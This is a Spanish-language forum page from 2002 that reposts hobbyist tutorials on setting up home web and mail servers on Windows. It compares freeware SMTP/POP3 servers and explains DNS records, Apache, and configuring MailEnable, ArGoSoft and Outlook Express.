elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Mensajes
Páginas: 1 ... 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 [544] 545
5431  Informática / Tutoriales - Documentación / Comparativa entre Servidores de Correo en: 18 Septiembre 2002, 23:53 pm
Documento original de:
http://www.bandaancha.st/documentos.php?docid=23

Comparativa entre Servidores de Correo por Salva Gregori

Como veis el correo electrónico se ha convertido en una parte de la vida de una empresa o particular. Actúa como un cartero electrónico, que envía y recibe cartas, debería disponer de opciones flexibles de seguridad y posibilidad de administración remota. Una característica critica es la multitarea que permite (que a un servidor atender múltiples conexiones entrantes). Si el servidor tiene muchas peticiones se necesita que varias personas puedan conectarse simultáneamente al servidor. Dependiendo del número de usuarios a los que se de servicios, podremos elegir entre dedicar una máquina para el correo ó ejecutar el servidor de correo en la misma computadora que el servidor Web.

El protocolo de transferencia de mensajes simples (SMTP), el protocolo de oficina de correo POP3 y el protocolo de acceso a mensajes, versión 4 (IMAP4). Son tres de los más populares de envío de mensajes.

Debido al gran revuelo ocasionado por el filtrado de los servidores SMTP de Terra, y las dudas que ha generado, os proponemos instalar un servidor de correo propio, tanto POP3(entrante), como SMTP (Saliente). Y como es costumbre en BandaAncha, las propuestas son bajo licencia FREEWARE, o lo que es lo mismo, programas de libre uso o gratuïtos.

Programa Tipo de Server Tamaño Kb Observaciones LINK
EFS (Email Forwarding Server) POP3/SMTP  1.400 Recoge el email de su ISP y retransmite el mensaje a un mail server local (tal como MS Exchange). Valida el correo para su dominio y listas del correo. Requiere una sola cuenta y dominio, para ofrecer cuentas personalizadas.  Descargar
ArGoSoft Mail Server  STMP/POP3/Finger  1.400 Es muy compacto, solo ocupa 1Mb. No tiene ningunos requisitos específicos de memoria, y es muy fácil utilizar. Permite ilimitadas cuentas, y la autentificación del smtp. Retransmite los mensajes directamente a los repartidores de correo (MS Exchange). Esta versión libre es para uso personal y no utiliza direccionamientos múltiples de IP. Descargar
InetServ SMTP/POP3
DAYTIME/FINGER
WHOIS/TELNET
WEBMAIL  191 Tambien adjunta un interfaz del telnet y un interfaz del webmail (browser). Usted puede configurar cuentas múltiples del usuario, especificar opciones de relay... El interfaz es fácil de administrar para cualquier tipo de usuario. Descargar
EzMTS - Mail Transport System SMTP/POP3 102 La instalación para las funciones básicas del servidor requiere cerca de 5 minutos. Algunas de las características son: dominios múltiples, expedición del dominio, alias de usuarios... Descargar
SmartMail Server POP3 856 Da a la posibilidad para utilizar el email usando solamente una conexión Internet. Descarga y envía los correos para usted, el enviar usando su cliente es muy rápido. Incluye un interfaz basado en Web que permite leer y responder a su correo desde cualquier navegador. Descargar
Mercury/32 POP3 1.500 Proporciona servicios de correo tanto a un solo ordenador como a una red de área local. Tiene ayuda especial para el ambiente de Novell NetWare - integra con un LAN de NetWare exactamente de la misma manera que la versión de NLM. Puede sostener rendimiento de procesamiento de hasta 8.000 mensajes del correo por hora en sistemas convenientemente-equipados. El programa consiste en los módulos múltiples que se pueden activar dependiendo de sus necesidades. Mercury/32 viene con una lista larga de características avanzadas y es extremadamente standard, utilizando los protocolos correo-relacionados Internet principales y tiene características especiales diseñadas para el uso en ambientes del dialup. El programa es bastante complejo. Incluye mucha documentación.
 Descargar
Hermes EMail Server SMTP/POP3  1.800 El servidor valida conexiones y valida el correo para la salida. Si el correo llega a un usuario local lo entrega en su bandeja, si no es así, lo envia a la cola para ser entregado posteriormente. También utiliza listas el enviar y el bloque del relays. Es Open Source. Descargar


 

Como muchos ya sabeis para utilizar este tipo de servidores de correo, bajo una adsl o cable, debeis desviar los puertos marcados en rojo para que funcionen correctamente, aunque tambien os hemos adjuntado los puertos más utilizados por los servicios de internet:

Servicio Puerto
FTP 21
SSH 22
TELNET 23
SMTP 25
DNS 53
FINGER 79
HTTP 80
POP3 110
NETBIOS 139

Para abrir los puertos podeis ver los documentos correspondientes a vuestro router, o firewall, en la sección de documentos de BandaAncha.St

-----------------------------------------------------------


Si te ha quedado alguna duda puedes ponerla en los foros para que otros usuarios puedan ayudarte.

Notas: He escrito este pequeño doc a partir de mi experiencia como usuario. No soy ningún experto en redes, así que si ves algo que no es correcto, por favor dímelo.
Este documento ha sido escrito por Salva Gregori. Se permite la copia y reproducción de este artículo siempre que se mencione la fuente y se incluya un hiperenlace hacia su ubicación original.

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.
5432  Informática / Tutoriales - Documentación / Montar servidor casero sobre Windows: III. Servicio de correo. en: 18 Septiembre 2002, 19:58 pm
Documento Original de:
http://www.bandaancha.st/documentos.php?docid=36

Montar servidor casero sobre Windows: III. Servicio de correo por FreeBSD

Con el servicio de correo pasa lo mismo que con el de WEB, hay muchos programas libres que te puedes bajar e instalar para tener tu propio servidor de correo electrónico en tu casa y no depende así de servidores externos para mandar tu correo. Aquí comentaré algunos que puedes usar pero tu mismo te puedes buscar otro que te guste más o venga mejor a tus necesidades. En esta misma web ya existe una comparativa sobre diferentes servidores de correo para Windows que se distribuyen de manera gratuita. Es una comparativa muy buena y te invito a que la visites.

Primero hay que diferenciar entre un servidor SMTP y un servidor de POP3. Así a grandes rasgos podríamos decir que un servidor SMTP es el que se utiliza para que nosotros enviemos correo. Y un servidor POP3 es el que utilizamos para recoger el correo que nos han enviado. El servidor SMTP y POP3 podrían no estar en la misma máquina físicamente e incluso no estar incluidos en la misma aplicación. Los casos que vamos a tratar, el servidor POP3 y SMTP están en la misma máquina y las aplicaciones de las que voy a hablar incluyen el servidor POP3 y SMTP. Es un comienzo, a partir de ahí que cada uno juegue con su imaginación.

Llegado a este punto tengo que volver a molestar con el DNS. Como se hablaba en la primera parte de esta serie de documentos, es recomendable una entrada MX que apunte a la dirección IP donde está el servidor de correo. Pero, ¿únicamente es necesario eso? La respuesta es sí y no. Con eso el servicio va a funcionar sin problemas cuando nos envíen correo a nosotros, pero hay un pequeño detalle que se puede volver en un inconveniente. En la primera parte comenté algunos tipos de entradas que hay en el DNS (tipo A, CNAME y MX). Pues bien, existe la entrada inversa al tipo A que se llaman entradas PTR. De la misma manera que las entradas de tipo A relacionan un nombre con una dirección IP, las entradas PTR relacionan una dirección IP con un nombre. Por ejemplo:

Tipo A:
misubdominio.ods.org------------------172.26.0.34

Tipo PTR:
172.26.0.34---------------------------misubdominio.ods.org

Pues bien, algunos servidores de correo como los de yahoo o hotmail, cuando reciben un correo comprueban, a modo de protección contra el correo basura o SPAM, que existe una entrada PTR para la dirección de la que reciben el correo. Si esta entrada no existe, no podrías enviar correo a algunos servidores, y este suele ser un método de protección bastante extendido. Esta entrada PTR ni siquiera debe apuntar a isubdominio.ods.org, tal sólo debe existir y TU no puedes introducir esa entrada, tan sólo lo puede hacer tu proveedor de servicios de Internet.

Puedes comprobar si existe esta entrada con algún software de consultas DNS gratuitos, de los que hay muchos y seguro que en tu página favorita de descargas lo puedes conseguir. Algunos programas no te permiten realizar consultar PTR directamente, no hay problema porque puedes consultar por un nombre de la siguiente manera: Tienes que poner tu dirección IP alrevés seguido de la coletilla .in-addr.arpa. Por ejemplo, si la dirección es 172.26.0.34, tendrías que consultar por el nombre:

34.0.26.172.in-addr.arpa

Si te responde diciéndote que se corresponde con 172.26.0.34, es que existe entrada PTR.

Si no tienes una herramienta de DNS, haz un ping de la siguiente manera:

ping 34.0.26.172.in-addr.arpa

Casi todas las conexiones ADSL con IP estática las incluyen, podría existir algún problema con conexiones mediante módem o conexiones con IP dinámicas de diversos tipos.

Bueno, ahora que ya hemos aclarado esto -para que luego no me critiquen porque no les funciona-, vamos a hablar un poquito del software existente. No voy a repetir los servidores que se comentan en el documento “Comparativa entre servidores de correo” que se encuentra en esta misma sección ya que está muy bien y únicamente voy a aportar dos más:

El primero es xmail que puedes encontrarlo en http://www.xmailserver.org . Se distribuye bajo licencia GPL. Se echan de menos algunas opciones interesante pero funciona y muy bien.
El segundo y el que me parece más completo es MailEnable , que puede encontrarse en http://www.mailenable.com . Puedes bajarte la versión standard que es la gratuita y con ella tiene servicio SMTP, POP3 y te da la posibilidad de manejar listas de correo. Según dice en su página, sólo funciona sobre NT/2000, así que posiblemente también en XP aunque no se especifica nada. Se distribuye diversa documentación en formato pdf y contiene una buena base de datos sobre las consultas más frecuentes.
Personalmente MailEnable me parece bastante bueno, por ello voy a comentar un poco más sobre él. Después comentaré sobre ArGoSoft Mail Server que puede encontrarse en http://www.argosoft.com/applications/mailserver/ para quienes tengan Windows 95/98/ME.

MailEnable

MailEnable nos permite manejar múltiples dominios e infinitas cuentas. Se hace un poco de lío con el correo erróneo pero si se configura bien no dará problemas. Permite una buena gestión de las cuentas de correo pudiendo crear grupos de usuarios y además proporciona la posibilidad de establecer políticas de seguridad diversas y cuotas de correo personalizadas para cada usuario. Creo que contiene muchas opciones y es por eso por lo que considero que es de lo mejor. Personalmente no le he puesto a prueba con muchas conexiones simultáneas ni nada por el estilo, pero tampoco tendría que fallar.

Lo primero que hay que hacer es, para entendernos, algo así como "que nuestra máquina pertenezca al dominio que tenemos". Para ello debemos pulsar el botón derecho sobre Mi PC y elegir propiedades. Después vamos a  la pestaña de identificación de red y pulsamos el botón de propiedades. Allí nos aparece el nombre de nuestro equipo que si no tenía uno pues se lo podemos poner ahora. Después pulsamos sobre el botón “Más...” y en la casilla de texto introducimos nuestro dominio: misubdominio.ods.org. Aceptamos todo, se reiniciará el equipo y ya está.

En el proceso de instalación, lo primero que nos pide es un nombre para nuestra Post Office inicial, por ejemplo podemos llamarla como el subdominio que has contratado y estableces una contraseña. En la siguiente pantalla te pedirá el nombre de tu dominio, en este caso pondrías misubdominio.ods.org. Te pide también que especifiques los servidores de DNS y el puerto en el que escuchará el servicio de intercambio y transporte de mensajes SMTP que por defecto es 25 y que no hay razón aparente para que quieras cambiar esto. Después de esta configuración inicial se inicia el proceso de instalación.

Una vez que se ha instalado, podemos acceder a la consola de administración mediante el acceso que en el menú de inicio se crea en la instalación para realizar una configuración más exhaustiva y añadir nuevos usuarios al servidor.

La consola de administración se compone de dos partes principales, una es Messenging Manager y otra Servers. En la primera vamos a configurar todo lo concerniente con las estafetas de correo y  los usuarios, grupos, listas de correo y dominios de la estafeta. Se pueden crear tantas estafetas como queramos, pero con una de momento es suficiente.

Si abrimos el menú de Post Offices, nos aparecerá la estafeta que definimos en la instalación. Si desplegamos el menú de la estafeta tenemos acceso a los dominios que maneja la estafeta, los mailboxes (los usuarios), los grupos y las listas de correo. Si pinchamos sobre domains, nos aparecerá el dominio que especificamos en la instalación, es decir, misubdominio.ods.org. Si pinchamos sobre mailboxes nos aparecen los usuarios del servidor. Inicialmente únicamente hay uno, el postmaster. Para crear un nuevo usuario tan sólo debemos poner el ratón sobre la ventana derecha y pulsado el botón derecho->nuevo elegimos mailbox. Ahí podemos elegir el nombre del usuario, si es una cuenta de administrados o de usuario corriente y se puede establecer la cuota de disco para el usuario (no olvidar poner una contraseña). Por ejemplo, creamos una cuenta para Pepe García llamada pgarcia.

Las opciones de grupos y listas de correo las voy a pasar por alto pero pueden ser consultadas en la documentación que es descargable desde la página.

Una vez que hemos creado un usuario, nos queda configurar el servidor POP3 y SMTP. Únicamente voy a hacer un apunte sobre la configuración del servidor SMTP. Para configurar este, debemos abrir el menú servers, a continuación el de localhost y por último el de connectors. Después pinchando el botón derecho sobre SMTP y dando a propiedades nos aparece la ventana de configuración del servidor. Pinchamos sobre la pestaña de Relay. Esto nos va a permitir que alguien que no sea un usuario nuestro utilice nuestro servidor, así se puede evitar el spam o correo basura. Para ello hay que seleccionar la casilla “Allow relay for authenticated senders”. Después, pinchando sobre el botón que esta justo debajo de esta, seleccionamos “Authenticated against the MailEnable user database”. La configuración por defecto del POP3 es válida y no es necesario tocarla.

Argosoft

Argosoft es un servidor de correo muy casero y lento pero que funciona y me parece muy simpático. Se puede encontrar en http://www.argosoft.com/applications/mailserver/ y es para la gente que por no tener Windows 2000 o XP el mailenable no le funciona.

Se instala como cualquier otro programa en Windows y el servidor empieza a funcionar aunque tenemos que configurarlo. Abrimos el programa desde la barra de iconos que aparece en la parte inferior derecha de nuestra barra de acceso rápido. Pinchamos sobre tools->options.

En la pestaña general, debemos introducir una dirección de DNS para que el servidor pueda realizar sus consultas, aquí debemos ponerle la dirección del que nos asignó nuestro proveedor o alguno que tu uses. También ha que activar la opción “Allow Relay” para que se pueda enviar correo a través del servidor y por último introducir el nombre de nuestro pc con el dominio por ejemplo.

Después pinchamos la pestaña local domains y ahí debemos introducir los diferentes dominios a los que vamos a gestionar el correo. En nuestro caso introduciríamos uno llamado misubdominio.org.

En la pestaña ports podremos modificar el número de los puertos que utilizan los servicios que se ofrecen. El servicio finger (para el que no lo conozca) da cierta información sobre los usuarios de correo que tenemos. No recomiendo en absoluto tenerlo y si podéis desactivarlo o bloquear el puerto.

La siguiente y ultima modificación que vamos a hacer será en la pestaña SMTP Authentication. Aquí debemos activar las dos casillas que se ven en pantalla a modo de seguridad que siempre viene bien. La primera es pare requerir autentificación para enviar mensajes por el servidor y la segunda para que la autentificación sea con el mismo login y password usado para el servidor POP3.Y ya está configurado. Si el servidor estaba lanzado lo reiniciamos, y si no lo lanzamos.

Ahora sólo queda introducir usuarios dentro del servidor. Para eso nos vamos a tools->users (o usando el icono de acceso de la pantalla principal). En la primera casilla, debemos poner el nombre del usuario, por ejemplo pgarcia. En la segunda el nombre completo del usuarios y en las dos siguientes el password que utilizará para acceder al servidor de correo.

Yo creo que no hay que comentar mucho sobre esto, ¿no?. En el primer cuadro insertamos el nombre de la cuenta, después el nombre real y por último el password. Las dos últimas casillas os las dejo a vosotros pero yo creo que son obvias.

Clientes

Y bien, con esto ya tenemos nuestro servidor rulando. Ahora sólo queda configurar los clientes de correo como Outlook o Netscape para poder enviar correo.

Voy a comentar la configuración para Outlook Express porque es el más extendido. Para ello, una vez abierto el Outlook, pinchamos sobre Herramientas y seleccionamos cuentas. Pinchamos sobre agregar y seleccionamos correo. Primero metemos el nombre que aparecerá cuando alguien reciba correo ( Pepe García ), después la dirección de correo (pgarcia@misubdominio.ods.org). Lo que nos pide a continuación son las direcciones de los servidores de POP3 y SMTP. Aquí la cosa cambia un poco dependiendo de dónde lo hemos instalado y desde donde se va a acceder. Si el ordenados donde se va a usar la cuenta está dentro de la red donde está el servidor de correo, habrá que poner la dirección IP de éste. Si no se está configurando en un ordenador que no está en nuestra red, que está por el mundo de Internet de Dios, pues aprovechamos el haber introducido las entradas de DNS como se indicó el primer capítulo. Si se puso una misma entrada para SMTP y POP3 como indiqué y que la llamé mailhost.misubdominio.ods.org, pues introducimos eso en las dos casillas. Si pusimos una entrada para cada servidor (el pop3 y el smtp) pues ponemos cada una según corresponda(por ejemplo, pop3.misubdominio.ods.org y smtp.misubdominio.ods.org). El haber puesto dos entradas diferentes tiene algún sentido si algún día nos interesase poner en ordenadores diferentes bajo direcciones IP diferentes el servidor de correo POP3 y SMTP. Esto es posible hacerlo y es lo más normal en servidores de mucho tráfico, sin embargo ese no es el caso ni éste es el software indicado para ello.

Por último, introducimos el nombre de la cuenta (pgarcia) (en el caso de mailenable seguido de una @ y el nombre del Post Office que hubierais puesto (p ej. pgarcia@misubdominio) ) y el password(*******). Pero aún no está todo...Si pincháis sobre la pestaña correo, podréis ver una nueva cuenta de correo, la que acabas de crear, pues pincháis sobre ella y le dais a propiedades. Nos vamos a la pestaña de servidores y activamos la casilla “Mi servidor requiere autentificación”. Después de activarla le dais a configuración y seleccionáis “usar la misma configuración que el servidor de correo entrante”.

Y ya está todo configurado. Ha sido una explicación muy concentrada pero la documentación a pesar de estar en inglés es fácilmente entendible y completa.

Vuelvo a hacer hincapié en el hecho de la configuración de los clientes, especialmente para aquellos que tengan una configuración multipuesto detrás de un router configurado como NAT. Si estáis en la misma red del servidor, no  pongáis las entradas mailhost.misubdominio.ods.org ni nada por el estilo puesto que le estarías pidiéndole el correo al router. Pon la dirección IP local y privada de la máquina donde esté el servidor. Si el cliente está fuera de nuestra red, puede poner mailhost.misubdominio.ods.org en la configuración.

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.
5433  Informática / Tutoriales - Documentación / Montar servidor casero sobre Windows: II. Servicio WEB en: 18 Septiembre 2002, 19:56 pm
Documento original de:
http://www.bandaancha.st/documentos.php?docid=35

Montar servidor casero sobre Windows: II. Servicio WEB
por FreeBSD

EL SERVICIO WEB
 

  Es el servicio estrella de Internet, y para instalarnos un servidor web en nuestra casa de manera gratuita hay muchas posibilidades. Se puede utilizar el que lleva el propio windows, creo que 98 y ME llevan un servidor personal de páginas WEB y 2000 y XP el Internet Information Server (no estoy seguro de esto). La elección de un servidor WEB depende de lo que nos queramos complicar la vida, de la seguridad que queramos, de cómo vayamos a programar la página, etc. Bien, pues pasen y vean, estos son algunos de los servidores que podemos poner si no queremos usar los que nos da windows.

 

Apache  
  Es el servidor de Internet más usado del planeta, se calcula que aproximadamente el 55% de las páginas de Internet se sirve con él. Las posibilidades son infinitas aunque la configuración puede no ser muy agradable para gente muy acostumbrada Windows con sus bonitas ventanas y botones porque se configura con ficheros de texto. Bueno, puedo decir que como defensa que hay documentación tanto en inglés como en español y que siempre es bueno aprender a manejar apache.

 

  Nos podemos bajar tanto la versión 1.3.X como la 2.X. Según comentan en su página http://httpd.apache.org , para la familia Windows está más optimizada la versión 2. Se recomienda usarlo con Windows NT o 2000 aunque comentan que con los demás sistemas operativos de Windows funciona igual.

 

  La configuración se hace mediante un archivo de texto llamado httpd.conf que está en el directorio \conf donde hayamos instalado Apache. Según se instala apache, el servidor ya está funcionando, podemos comprobarlo poniendo http://localhost en nuestro navegador y nos saldrá una página avisando que el servidor está funcionando. Por defecto, el servidor muestra como página principal alguna que se llame index.html que se encuentre en el directorio \htdocs donde hayamos instalado Apache. Podemos mover los archivos que allí están puestos a otro sitio y poner ahí nuestras páginas. Otra manera que hay es decirle a Apache que busque las páginas en otro directorio. Para ello, editaremos el fichero httpd.conf con el bloc de notas y buscaremos una entrada que diga DocumentRoot y sustituimos lo que está entre comillas por el path o camino donde se quiere poner nuestras páginas.

 

  Esto es lo más simple que hay que hacer para que el servidor funcione, lo demás para que investigueis. De todas maneras se puede encontrar documentación en Español en la página http://quark.fe.up.pt/ApachES/manual-es/ .

 

Otros
 

  Por supuesto que hay más servidores gratuitos, aquí va una lista. He intentado especificar su facilidad de configuración y si deja que se configuren muchos parámetros de funcionamiento.

Sambar:
Muy completo y muy bueno. Es algo más que un servidor web y se configura mediante archivos de texto
http://www.sambar.com/
Xitami:
Muy conocido y bueno, se configura mediante archivos de texto.
http://www.xitami.com/
Savant:
Se configura de manera gráfica principalmente. No es complicado.
http://savant.sourceforge.net
Dino'sWebServer:
Muy muy muy sencillo. Casi no requiere configuración.
http://home.no.net/nextgen/files/serv.htm
IronWall HTTP:
Sencillo de usar y puedes limitar el ancho de banda que de salida total y por conexión.
http://wasxalpha.redirectme.net/
MyWebServer:
Muy sencillo de usar. Se configura mediante un interfaz web.
http://www.mywebserver.org/us/
Lil HTTP Server 2.2:
Muy sencillito.
http://www.summitcn.com/lilhttp/lildocs.html
SimpleServer:WWW Analogx:
Posiblemente el más sencillo. Para gente que no quiera complicarse la vida.
http://www.analogx.com/
Abyss Web Server 1.0:
Muy sencillo de usar y deja configurarse. Se configura en un interfaz web.
http://www.aprelium.com/abyssws/index.html
Pi3Web v1.03:
Muy sencillo de instalar y muy sencillo de usar. Se configura mediante una herramienta de configuración que incluye el programa. Documentación abundante.
http://pi3web.sourceforge.net/
TheServer 1.1:
No hace falta ni instalación. Se configura con un archivo de texto. Documentación abundante.
http://www.fastlinksoftware.com/
  Por supuesto que en esta lista no están todos, son sólo algunos y he intentado ofrecer un abanico de posibilidades amplio para que cada uno elija aquel que mejor le convenga. Todo depende de en qué se quiera hacer la página, si va a usar tecnología JAVA, CGI, ASP...etc etc. La cosa es bajárselo y probar.

 

  Un único apunte más sobre esto. La gente que tenga una línea ADSL detrás de un NAT, como pasa con la configuración multipuesto de telefónica, no podrá acceder a su página web poniendo en su navegador www.misubdominio.ods.org, porque se conectará al router. Si el servidor está lanzado y bien configurado, lo puedes probar poniendo en tu navegador http://ip_de_la_máquina_donde_está_el_servidor. Después, si has configurado bien los túneles de entrada del router, ya se puede acceder desde fuera. Si aún así te quieres quedar tranquilo, ve a http://www.anonymizer.com/ y desde ahí pruebas si es accesible desde Internet tu página.

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.
5434  Informática / Tutoriales - Documentación / Montar servidor casero sobre Windows: I. Configuración de DNS en: 18 Septiembre 2002, 19:55 pm
Documento original de:
http://www.bandaancha.st/documentos.php?docid=34

Montar servidor casero sobre Windows: I. Configuración de DNS por FreeBSD

INTRODUCCIÓN

En muchos foros y cosas similares he visto muchas consultas sobre cómo montar servidores de Internet. Con este documento voy a intentar explicar con la mayor sencillez y concretando al máximo los pasos a seguir para montar diversos servicios de Internet en tu casa o pequeña oficina y algunos otros servicios de para redes locales.

Como es lógico, todo el software que mencione aquí es de libre distribución o de código abierto (o al menos en el momento que yo lo probé lo era) y cada uno está sujeto a licencias diferentes que no voy a comentar y que cada uno es responsable de leerlas o no, y de esta manera cumplirlas o no. Como la economía es importante (y no voy a hacer apología del pirateo) no voy a considerar que estos servicios se van a instalar sobre sistemas operativos servidores de Windows como Windows 2000 Server, Advanced Server o NT Server. Digamos que nos conformamos con algo más barato como Windows 95/98, ME, XP o 2000 Professional (estos dos últimos  no son tan baratos pero bueno). Aunque voy a ejemplificar más para Windows 2000 Professional.

De todas maneras, te animo a que pruebes Unix o Linux si no lo has hecho nunca, porque lo que se puede hacer en Windows de manera "gratuita" son juguetitos comparado con lo que estos sistemas ofrecen, aunque no sea tan sencillo.

Voy a comentar como instalar servidores web, smtp, pop3, ftp, telnet y ssh. Bueno, no se si luego comentaré todos o si además ampliaremos alguno más. En este sitio se comenta como abrir los puertos de los routers de turno, así que eso es algo que voy a obviar, solamente comentaré los puertos que usan estos servicios por defecto:

WEB-> 80
SMTP->25
POP3->110
FTP->21
SSH->22
TELNET->23
PREVIAMENTE EL DNS, LO MAS IMPORTANTE

El DNS proporciona en Internet un servicio de traducción de nombres, es decir, nosotros ponemos en nuestro navegador http://www.talypascualdominio.com y no http://172.26.0.34 , siendo esta un dirección IP ficticia (e imposible) de la página que queremos visitar. Esto es posible porque un servicio de traducción de nombres ha traducido www.talypascualdominio.com en la dirección IP donde se encuentra.

Bueno, vamos a aclarar lo de que 172.26.0.34 es una dirección ficticia. Existen direcciones IP privadas, es decir, a las que no se puede acceder desde Internet directamente. Están reservadas para ser utilizadas en redes locales. Los rangos de direcciones IP privadas son:

10.xxx.xxx.xxx
172.26.xxx.xxx
192.168.0.x
Pondré los ejemplos de direcciones IP con direcciones privadas no va a ser que coincida con la de alguno y se me vaya a enfadar, que el mundo es muy pequeño.

Si queremos ofrecer servicios a Internet para que alguien acceda a ellos o queremos redondear lo que pongamos aunque sea para uso personal, lo mejor es conseguir un dominio. He dicho antes que la economía es importante, así que no voy a hacer que paguéis un dominio, lo que vamos a hacer es contratar un subdominio gratuito.

Hay millones de lugares donde pueden contratarse estos subdominios pero yo me quedo con el que se proporciona en http://www.ods.org (Open Domain Server) por un pequeño detalle que comentaré más adelante. No digo que sea el mejor ni nada por el estilo, pero simplemente es el que mejor conozco.

En este punto hay que explicar algunas cosillas sobre el servicio DNS. No voy a comentar todas, porque ya me estoy extendiendo más de lo que debería, pero sí aquellas que nos resultan útiles para nuestro propósito.

En el DNS se pueden introducir diversos tipos de entradas. Aquí voy a comentar las entradas A, CNAME y MX.

Entradas de tipo A.
Establece una relación directa entre una dirección IP y un nombre. Por ejemplo:

talypascualdominio.com -----------> 172.26.0.34

En el momento en que esta relación queda registrada en un servidor de DNS, decir talypascualdominio es lo mismo que decir la dirección IP 172.26.0.34

Entradas tipo CNAME
Permite establecer alias entre nombres. Es decir, podemos llamar de dos maneras a una misma cosa. Por ejemplo:

miotrodominio.com------------------> talypascualdominio.com

En este momento, decir miotrodominio.com es lo mismo que decir talypascualdominio.com, y a su vez ,teniendo en cuenta la entra tipo A anterior, es lo mismo que decir la dirección IP 172.26.0.34

Entradas tipo MX
Las entradas MX dan información de donde se encuentra el intercambiador de correo de un dominio determinado. Es decir, dice donde está el servidor de correo de un dominio.

Imaginemos que queremos poner un servidor de correo para nuestro dominio talypascualdominio.com. Podríamos insertar una entrada en el DNS que sea talypascualdominio.com MX smtp.talypascualdominio.com. Con esto decimos que el correo que vaya a nuestro dominio, se encamine a la dirección a la que apunta smtp.talypascualdominio.com. Así, cuando enviamos un email a postmaster@talypascualdominio.com desde Yahoo por ejemplo, el servidor de correo de Yahoo mirará la entrada MX del DNS para saber a dónde lo tiene que enviar.

Este tipo de entrada no es 100% necesaria pero si aconsejable. Los servidores de correo vana  buscar nuestra entrada MX y si no lo encuentran pues ya depende del servidor. Algunos lo van a mandar a la dirección que hayamos puesto a nuestro dominio y otros no se comen la cabeza y lo devuelven.

Es por este motivo que me gusta el servicio que da ODS, ya que en muchos otros lugares no se nos permite introducir este tipo de entradas.

No sé si alguien se ha asustado con todo esto que he contado, espero que no porque vamos a ver que hacer esto es tan simple que un niño puede hacerlo.

EMPIEZA LA CHICHA

Para empezar nos vamos al a página www.ods.org y allí nos registramos. No nos piden ni el teléfono ni dirección ni grupo sanguíneo, tan sólo un nombre de usuario, un password, nuestra dirección de correo electrónico y el nombre. Una vez que nos hayamos registrado, volvemos a la página principal y metemos nuestro login y password y ya estamos a punto de empezar a hacer cositas.

A la izquierda nos aparece un cuadro que lleva por título Add Host on a Public Domain. Esto es lo que nosotros queremos, un nombre de subdominio público que nos sale gratis. Bien, pues pensamos en un nombre (como ejemplo pondremos como nombre misubdominio) y lo ponemos en la primera casilla (Host). Después debemos elegir bajo que dominio lo queremos. Por ejemplo elegimos el de la página, ods.org en la casilla segunda (Domain). Después debemos elegir que tipo de entrada queremos hacer (recordad lo que comente más arriba). Vamos a elegir tipo A en la tercera casilla (Type). Y por último debemos poner en la cuarta casilla nuestra dirección IP pública (IP/CNAME).

Alguien podría decir aquí que no puede poner dirección IP porque tiene una IP dinámica, no importa los que estén en este caso que pongan una cualquiera y más adelante lo solucionamos que tiene una solución muy sencilla.

¿Ya ha hecho todo el mundo lo que he contado? Pues bien, le das al botón Add Host. Y vemos si nos ha dejado meter esa entrada porque pudiera ser que el nombre está cogido. Si nos ha dejado pues cojonudo, si no pues probamos otro.

Ahora mismo ya tenemos entradas en el DNS que apuntan a nuestra dirección IP. Ahora lo podemos redondear un poco más con unos alias para que, por ejemplo, si alguien puede acceder a nuestra página pueda teclear www.misubdominio.ods.org. Esto lo vamos a hacer utilizando las entradas CNAME. Pues a empezar de nuevo. En la primera casilla ponemos www.misubdominio, en la segunda elegimos el dominio ods.org y en la tercera vamos a poner tipo CNAME. Ahora la cosa cambia un poco, porque ya no vamos a poner una dirección IP, sino otro nombre, así que en la cuarta casilla ponemos misubdominio.com.

Esto también se podría hacer con una entrada tipo A a nuestra dirección IP. Las posibilidades son diversas.

Vamos a poner como ejemplo que quedas con unos cuantos colegas con ADSL para poner servicios por Internet. En casa de uno vais a poner la página web, en otra el servidor FTP y en otra el servidor de correo. Bueno, pues los colegas sois Pedro, Luis y Pablo (que original). Bien, pues ponéis una entrada tipo A que se llama pedro.misubdominio.ods.org y que apunte a la dirección IP de Pablo. Y así lo mismo con Luis y Pablo.

Digamos que Pedro tendrá la página web, Pablo el servidor de WEB y Luis el de correo. Pues se crea una entrada CNAME llamada www.misubdominio.ods.org a pedro.misubdominio.ods.org. Para Pablo una entrada CNAME ftp.misubdominio.ods.org a pablo.misubdominio.ods.org. Y para Luis una que diga luis.misubdominio.ods.org CNAME mailhost.misubdominio.ods.org.

Y bien, ahora queda dar la puntilla para que el servicio de correo funciona correctamente, tenemos que meter una entrada MX para que se sepa donde está el intercambiador de correo. Pues en la primera casilla pondremos misubdominio, elegimos como dominio ods.org, elegimos tipo de entrada MX y en la cuarta casilla pondremos mailhost.misubdominio.ods.org. Ahora, todo el correo que vaya para el nuestro dominio, se dirigirá a mailhost.misubdominio.ods.org, es decir, a luis.misubdominio.ods.org, es decir, a la casa de Luis. En este caso queda el problema de a quién hacer apuntar el nombre misubdominio.ods.org, no sé si deciros que lo mejor es que sea una entrada tipo A a una dirección IP o un CNAME a la dirección de Pedro, Luis o Pablo, cada cosa pues tiene lo suyo. Elijan a su gusto.

En el resto de la página de de www.ods.org se da la posibilidad de cambiar las entradas que hemos hecho (update mapping for) o borrar algo que hemos metido (delete host).

Muchos os preguntareis por esa última casilla que hay en la parte de hacer los registros, pues no la voy a comentar porque no es imprescindible y me estoy alargando mucho. Podéis encontrar información sobre esto en cualquier tutorial sobre DNS de los muchos que hay por Internet.

Antes de que se me olvide vamos a comentar ahora el problemilla de las IPs dinámicas puede ocasionar para poner servicios de Internet. Bueno, problemilla ninguno, sólo tenéis que ir a la página http://www.algenta.com/software/winip y descargaros gratuitamente winip. Este programa lo que hace es actualizar las entradas de DNS automáticamente con la IP que tengáis en ese momento.

Una vez que te lo has bajado e instalado, la configuración es bien sencilla. En la primera casilla llamada Protocol eliges ODS; en la casilla Server poner ods.org; en hostname el nombre del host que quieres actualizar, así que vamos a imaginar que pedro tenía una conexión con IP dinámica, así que ahí pondría pedro.misubdominio.ods.org; y en las dos últimas casillas el nombre y password con que se registraron en la página de ods.

